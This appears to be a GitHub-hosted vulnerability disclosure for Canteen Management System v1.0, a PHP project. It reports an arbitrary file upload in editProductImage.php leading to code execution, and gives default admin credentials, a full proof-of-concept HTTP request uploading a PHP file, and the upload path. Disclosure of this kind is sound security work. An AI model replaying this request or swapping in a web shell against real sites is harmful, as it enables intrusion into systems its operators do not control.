Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Canteen Management System v1.0 by mayuri_k has arbitrary code execution (RCE)

BUG_Author: Pengxuan Li

vendors: https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html

The program is built using the xmapp-php8.1 version

Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)

Vulnerability url: ip/youthappam/php_action/editProductImage.php?id=1

Loophole location: Canteen Management System's editProductImage.php file exists arbitrary file upload (RCE)

Request package for file upload:

POST /youthappam/php_action/editProductImage.php?id=1 HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.88/youthappam/edittest.php?id=1
Cookie: PHPSESSID=lf9hph2449vgrcadcct2jgd8ne
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------88582622926272
Content-Length: 422

-----------------------------88582622926272
Content-Disposition: form-data; name="old_image"


-----------------------------88582622926272
Content-Disposition: form-data; name="productImage"; filename="shell.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----------------------------88582622926272
Content-Disposition: form-data; name="btn"


-----------------------------88582622926272--

The files will be uploaded to this directory \youthappam\assets\myimages\

We visited the directory of the file in the browser and found that the code had been executed